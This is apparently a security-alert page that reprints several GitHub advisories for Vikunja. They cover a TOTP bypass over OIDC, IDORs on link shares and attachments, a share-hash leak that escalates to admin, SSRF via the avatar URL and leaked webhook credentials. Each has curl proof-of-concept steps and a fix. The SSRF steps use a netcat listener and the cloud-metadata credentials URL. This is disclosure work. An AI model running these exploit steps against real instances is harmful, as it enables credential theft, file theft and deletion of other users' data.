Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.

This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing emailverified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

go totpEnabled, err := user.TOTPEnabledForUser(s, u) if err != nil { = s.Rollback() return err } if totpEnabled { = s.Rollback() return echo.NewHTTPError(http.StatusForbidden, "TOTP verification required. Please use the local login endpoint.") } return auth.NewUserAuthTokenResponse(u, c, false)

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The DELETE /api/v1/projects/:project/shares/:share endpoint does not verify that the link share belongs to the project specified in the URL. An attacker with admin access to any project can delete link shares from other projects by providing their own project ID combined with the target share ID.

Details

The permission check in canDoLinkShare (pkg/models/linksharingpermissions.go:53-70) validates admin access on the project from the :project URL parameter. However, the Delete method at pkg/models/linksharing.go:305 queries only WHERE id = ? using the share ID, without verifying it belongs to the URL-specified project:

go func (share LinkSharing) Delete(s xorm.Session, web.Auth) (err error) { , err = s.Where("id = ?", share.ID).Delete(share) return }

This is the same vulnerability class as GHSA-jfmm-mjcp-8wq2 (task attachment IDOR) and the fixed GHSA-mr3j-p26x-72x4 (task comment IDOR).

Additionally, ReadOne at line 203 has the same pattern (WHERE id = ? only), though it is not currently exploitable because CanRead fails first due to an unrelated issue with the hash parameter binding.

Impact

An authenticated user with admin access to any project can: - Delete link shares belonging to any other project in the system - Disrupt collaboration by removing shared access links - Link share IDs are sequential integers, making enumeration trivial

Reproduction

1. User A creates Project A and a link share on it (share ID = X) 2. User B creates Project B (gaining admin access) 3. User B calls DELETE /api/v1/projects/{projectBid}/shares/{X} 4. The permission check passes (User B is admin on Project B) 5. The delete executes WHERE id = X — deleting User A's link share

Recommended Fix

Change Delete at pkg/models/linksharing.go:305 to:

go , err = s.Where("id = ? AND projectid = ?", share.ID, share.ProjectID).Delete(share)

Also fix ReadOne at line 203 as defense in depth.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.03%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The LinkSharing.ReadAll() method allows link share authenticated users to list all link shares for a project, including their secret hashes. While LinkSharing.CanRead() correctly blocks link share users from reading individual shares via ReadOne, the ReadAllWeb handler bypasses this check by never calling CanRead(). An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access.

Details

The vulnerability arises from an inconsistency between the ReadOneWeb and ReadAllWeb generic handlers and the LinkSharing permission model.

LinkSharing.CanRead() correctly blocks link share users (pkg/models/linksharingpermissions.go:25-29): go func (share LinkSharing) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { if , is := a.(LinkSharing); is { return false, 0, nil // Blocks link share users } // ... }

ReadOneWeb calls CanRead() before returning data (pkg/web/handler/readone.go:64): go canRead, maxPermission, err := currentStruct.CanRead(s, currentAuth) if !canRead { return echo.NewHTTPError(http.StatusForbidden, ...) }

ReadAllWeb does NOT call CanRead() (pkg/web/handler/readall.go:106): go // Directly calls ReadAll without permission check result, resultCount, numberOfItems, err := currentStruct.ReadAll(s, currentAuth, search, pageNumber, perPageNumber)

LinkSharing.ReadAll() only checks project-level read access (pkg/models/linksharing.go:228-236): go func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, ...) (...) { project := &Project{ID: share.ProjectID} can, , err := project.CanRead(s, a) // Link share users pass this! if !can { return nil, 0, 0, ErrGenericForbidden{} } // Returns all shares with hashes...

Project.CanRead() allows link share users (pkg/models/projectpermissions.go:105-108): go shareAuth, ok := a.(LinkSharing) if ok { return p.ID == shareAuth.ProjectID && (shareAuth.Permission == PermissionRead || ...), ... }

The Hash field is exposed in JSON serialization (pkg/models/linksharing.go:50): go Hash string xorm:"varchar(40) not null unique" json:"hash" param:"hash"

While the Password field is cleared at line 276, the Hash — which is the secret token used to authenticate — is returned in full.

PoC

Prerequisites: A project with multiple link shares at different permission levels (common scenario: a read-only share for public access and a write/admin share for collaborators).

Step 1: Authenticate with a read-only link share bash Authenticate with a read-only link share hash curl -s -X POST http://localhost:3456/api/v1/shares/READONLYHASH/auth \ | jq '.token' Returns: JWT token with permission=0 (read)

Step 2: List all link shares for the project (hash disclosure) bash Use the read-only JWT to list ALL shares including their hashes curl -s -H "Authorization: Bearer <read-only-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID/shares \ | jq '.[].hash, .[].permission' Returns ALL shares with their hashes and permission levels: "READONLYHASH" permission: 0 "ADMINHASH" permission: 2 <-- leaked!

Step 3: Escalate to admin using the leaked hash bash Authenticate with the admin link share hash curl -s -X POST http://localhost:3456/api/v1/shares/ADMINHASH/auth \ | jq '.token' Returns: JWT token with permission=2 (admin)

Step 4: Exercise admin privileges bash Delete the project (admin-only operation) curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID Success — full admin access achieved from a read-only share

Impact

- Permission escalation: An attacker with any link share URL (including read-only) can escalate to the highest permission level of any other link share on the same project - Credential disclosure: All link share hashes for a project are exposed, which are effectively bearer tokens - No account required: Link shares are designed for unauthenticated access — the attacker only needs a link share URL that was shared publicly or forwarded to them - Common scenario: Projects with both read-only (public) and write/admin (collaborator) link shares are the standard use case for tiered sharing - Password-protected shares: Even password-protected share hashes are leaked, though exploitation requires knowing/brute-forcing the password

Recommended Fix

Add a link share user check at the beginning of LinkSharing.ReadAll(), mirroring the check in CanRead():

go // In pkg/models/linksharing.go, at the start of ReadAll(): func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, search string, page int, perPage int) (result interface{}, resultCount int, totalItems int64, err error) { // Don't allow link share users to list link shares if , is := a.(LinkSharing); is { return nil, 0, 0, ErrGenericForbidden{} }

project := &Project{ID: share.ProjectID} // ... rest of method unchanged

Alternatively, as a defense-in-depth measure, exclude the Hash field from JSON serialization for list responses by using json:"-" and only returning it on creation. However, the primary fix should be the authorization check since the hash is needed in the creation response.

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
EPSS
0.03%
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Summary

The DownloadImage function in pkg/utils/avatar.go uses a bare http.Client{} with no SSRF protection when downloading user avatar images from the OpenID Connect picture claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system.

Details

When a user authenticates via OpenID Connect, Vikunja extracts the picture claim from the ID token or UserInfo endpoint and passes it to syncUserAvatarFromOpenID, which calls utils.DownloadImage with the attacker-controlled URL:

Claim extraction (pkg/modules/auth/openid/openid.go:70-78): go type claims struct { Email string json:"email" Name string json:"name" PreferredUsername string json:"preferredusername" Nickname string json:"nickname" VikunjaGroups []map[string]interface{} json:"vikunjagroups" Picture string json:"picture" // ... }

Avatar sync trigger (pkg/modules/auth/openid/openid.go:348-352): go // Try sync avatar if available err = syncUserAvatarFromOpenID(s, u, cl.Picture) if err != nil { log.Errorf("Error syncing avatar for user %s: %v", u.Username, err) }

Vulnerable download (pkg/utils/avatar.go:94-115): go func DownloadImage(url string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), 3time.Second) defer cancel()

req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create HTTP request: %w", err) }

resp, err := (&http.Client{}).Do(req) // No SSRF protection // ... return io.ReadAll(resp.Body) // No size limit }

In contrast, the webhook system correctly applies SSRF protection (pkg/models/webhooks.go:306-310): go if !config.WebhooksAllowNonRoutableIPs.GetBool() { guardian := ssrf.New(ssrf.WithAnyPort()) transport.DialContext = (&net.Dialer{ Control: guardian.Safe, }).DialContext }

The avatar download path has none of this protection. There is no URL scheme validation, no IP address filtering, and no response body size limit.

PoC

Prerequisites: A Vikunja instance with OpenID Connect configured (e.g., Keycloak, Authentik). Attacker has an account on the OIDC provider.

Step 1: Set up a listener to observe incoming requests: bash On attacker-controlled server or internal service nc -lvp 8888

Step 2: In the OIDC provider (e.g., Keycloak admin), update the attacker's user profile picture URL to an internal address: http://169.254.169.254/latest/meta-data/iam/security-credentials/ Or to probe internal services: http://internal-service:8888/admin

Step 3: Log in to Vikunja via the OIDC provider. After the callback completes, the Vikunja server will make a GET request from its own network context to the URL set in the picture claim.

Step 4: Observe the request arriving at the internal endpoint or listener. The request originates from the Vikunja server's IP, bypassing any network-level access controls that allow Vikunja server traffic.

Cloud metadata example (AWS): Set picture URL to: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Vikunja server makes GET to this URL from its own network context The response is read into memory (io.ReadAll) before image.Decode fails The HTTP request itself reaches the metadata service

Impact

- Cloud metadata access: Attacker can reach cloud instance metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure equivalents) from the Vikunja server's network position, potentially leaking IAM credentials, instance identity tokens, and configuration data. - Internal network reconnaissance: Port scanning and service discovery of internal hosts reachable from the Vikunja server by observing response timing and error messages. - Internal service interaction: Any internal service that acts on GET requests (cache purges, status endpoints, admin panels) can be triggered. - Memory pressure: The io.ReadAll call with no size limit means pointing the URL at a large resource could cause memory exhaustion on the Vikunja server, though the 3-second timeout partially mitigates this. - Repeated exploitation: The SSRF triggers on every OIDC login, allowing the attacker to iterate through different internal URLs by updating their OIDC profile between logins.

Recommended Fix

Apply the same SSRF protection used in webhooks to DownloadImage, and add a response body size limit:

go // pkg/utils/avatar.go import ( "net" "code.dny.dev/ssrf" )

func DownloadImage(url string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), 3time.Second) defer cancel()

req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create HTTP request: %w", err) }

// SSRF protection: block requests to non-globally-routable IPs guardian := ssrf.New(ssrf.WithAnyPort()) client := &http.Client{ Transport: &http.Transport{ DialContext: (&net.Dialer{ Control: guardian.Safe, }).DialContext, }, }

resp, err := client.Do(req) if err != nil { return nil, fmt.Errorf("failed to download image: %w", err) } defer resp.Body.Close()

if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("failed to download image, status code: %d", resp.StatusCode) }

// Limit response body to 10MB to prevent memory exhaustion const maxAvatarSize = 10 1024 1024 return io.ReadAll(io.LimitReader(resp.Body, maxAvatarSize)) }

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.

Details

The vulnerability is in pkg/models/taskattachment.go in the ReadOne method:

go // pkg/models/taskattachment.go:110-120 func (ta TaskAttachment) ReadOne(s xorm.Session, web.Auth) (err error) { exists, err := s.Where("id = ?", ta.ID).Get(ta) // Only checks attachment ID, ignores TaskID if err != nil { return } if !exists { return ErrTaskAttachmentDoesNotExist{ TaskID: ta.TaskID, AttachmentID: ta.ID, } } // ... }

The permission check in pkg/models/taskattachmentpermissions.go validates access to the URL task, not the attachment's actual task:

go // pkg/models/taskattachmentpermissions.go:25-28 func (ta TaskAttachment) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { t := &Task{ID: ta.TaskID} // ta.TaskID is from URL param :task return t.CanRead(s, a) }

The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"): go // pkg/models/taskattachment.go:41-42 ID int64 xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment" TaskID int64 xorm:"bigint not null" json:"taskid" param:"task"

Attack flow for read (GET): The custom handler at pkg/routes/api/v1/taskattachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).

Attack flow for delete (DELETE): The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.

This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND taskid = ? validation:

go // pkg/models/taskcomments.go:196-205 (the fix) func getTaskCommentSimple(s xorm.Session, tc TaskComment) error { query := s.Where("id = ?", tc.ID).NoAutoCondition() if tc.TaskID != 0 { query = query.And("taskid = ?", tc.TaskID) } // ... }

PoC

Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).

Step 1: Attacker creates their own project and task.

bash Attacker creates a project curl -s -X PUT 'http://localhost:3456/api/v1/projects' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"attacker project"}' | jq '.id' Returns: 10

Attacker creates a task in their project curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"attacker task"}' | jq '.id' Returns: 50

Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).

bash curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \ -H 'Authorization: Bearer <victimtoken>' \ -F 'files=@secret-document.pdf' Returns attachment with id: 5

Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.

bash Attacker accesses victim's attachment (id=5) via their own task (id=50) curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \ -H 'Authorization: Bearer <attackertoken>' \ -o stolen-file.pdf Returns: victim's secret-document.pdf

Step 4: Attacker can also delete the victim's attachment.

bash curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \ -H 'Authorization: Bearer <attackertoken>' Returns: 200 OK — victim's attachment is deleted

Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).

Impact

- Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments. - Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users. - Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs. - Scope: Affects all Vikunja instances with task attachments enabled (the default).

Recommended Fix

Add taskid validation to ReadOne, mirroring the fix already applied to task comments:

go // pkg/models/taskattachment.go func (ta TaskAttachment) ReadOne(s xorm.Session, web.Auth) (err error) { query := s.Where("id = ?", ta.ID) if ta.TaskID != 0 { query = query.And("taskid = ?", ta.TaskID) } exists, err := query.Get(ta) if err != nil { return } if !exists { return ErrTaskAttachmentDoesNotExist{ TaskID: ta.TaskID, AttachmentID: ta.ID, } }

// ... rest unchanged }

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.03%
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The GET /api/v1/projects/:project/webhooks endpoint returns webhook BasicAuth credentials (basicauthuser and basicauthpassword) in plaintext to any user with read access to the project. While the existing code correctly masks the HMAC secret field, the BasicAuth fields added in a later migration were not given the same treatment. This allows read-only collaborators to steal credentials intended for authenticating against external webhook receivers.

Details

When listing project webhooks, the ReadAll method in pkg/models/webhooks.go (line 203) only requires project read access:

go // pkg/models/webhooks.go:203-244 func (w Webhook) ReadAll(s xorm.Session, a web.Auth, string, page int, perPage int) (result interface{}, resultCount int, numberOfTotalItems int64, err error) { p := &Project{ID: w.ProjectID} can, , err := p.CanRead(s, a) // Only requires read permission if err != nil { return nil, 0, 0, err } if !can { return nil, 0, 0, ErrGenericForbidden{} }

// ... fetches webhooks from DB ...

for , webhook := range ws { webhook.Secret = "" // HMAC secret is masked // BasicAuthUser and BasicAuthPassword are NOT masked if createdBy, has := users[webhook.CreatedByID]; has { webhook.CreatedBy = createdBy } }

return ws, len(ws), total, err }

The Webhook struct defines both fields with JSON serialization tags, so they are included in API responses:

go // pkg/models/webhooks.go:63-64 BasicAuthUser string xorm:"null" json:"basicauthuser" BasicAuthPassword string xorm:"null" json:"basicauthpassword"

The BasicAuth fields were added in migration 20260123000717 ("Add basic auth to webhooks"), but the credential masking logic at line 238 was not updated to include these new fields.

The same issue exists in the user webhook listing at pkg/routes/api/v1/userwebhooks.go:65, where Secret is masked but BasicAuth fields are not. This is lower impact since users only see their own webhooks.

PoC

1. As User A (project admin), create a project and a webhook with BasicAuth credentials:

bash Create a webhook with BasicAuth on project 1 curl -X PUT "http://localhost:3456/api/v1/projects/1/webhooks" \ -H "Authorization: Bearer $TOKENA" \ -H "Content-Type: application/json" \ -d '{ "targeturl": "https://external-service.example.com/hook", "events": ["task.created"], "secret": "my-hmac-secret", "basicauthuser": "service-account", "basicauthpassword": "S3cretP@ssw0rd!" }'

2. As User B (read-only collaborator on the same project), list webhooks:

bash curl -s "http://localhost:3456/api/v1/projects/1/webhooks" \ -H "Authorization: Bearer $TOKENB" | jq '.[0] | {secret, basicauthuser, basicauthpassword}'

3. Expected output (secret is masked, but BasicAuth is leaked):

json { "secret": "", "basicauthuser": "service-account", "basicauthpassword": "S3cretP@ssw0rd!" }

Impact

- Credential theft: Any user with read-only access to a project can steal BasicAuth credentials configured on that project's webhooks. These credentials may grant access to external services (CI/CD systems, notification endpoints, third-party APIs). - Lateral movement: Stolen credentials could be reused to authenticate against external systems that the webhook receiver protects. - Broad exposure surface: Credentials are exposed to all project readers, including users granted access through team shares and link shares (with read+ permission level).

Recommended Fix

In pkg/models/webhooks.go, add masking for BasicAuth fields alongside the existing Secret masking (around line 237):

go for , webhook := range ws { webhook.Secret = "" webhook.BasicAuthUser = "" webhook.BasicAuthPassword = "" if createdBy, has := users[webhook.CreatedByID]; has { webhook.CreatedBy = createdBy } }

Apply the same fix in pkg/routes/api/v1/userwebhooks.go (around line 64):

go for , w := range ws { w.Secret = "" w.BasicAuthUser = "" w.BasicAuthPassword = "" if createdBy, has := users[w.CreatedByID]; has { w.CreatedBy = createdBy } }

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203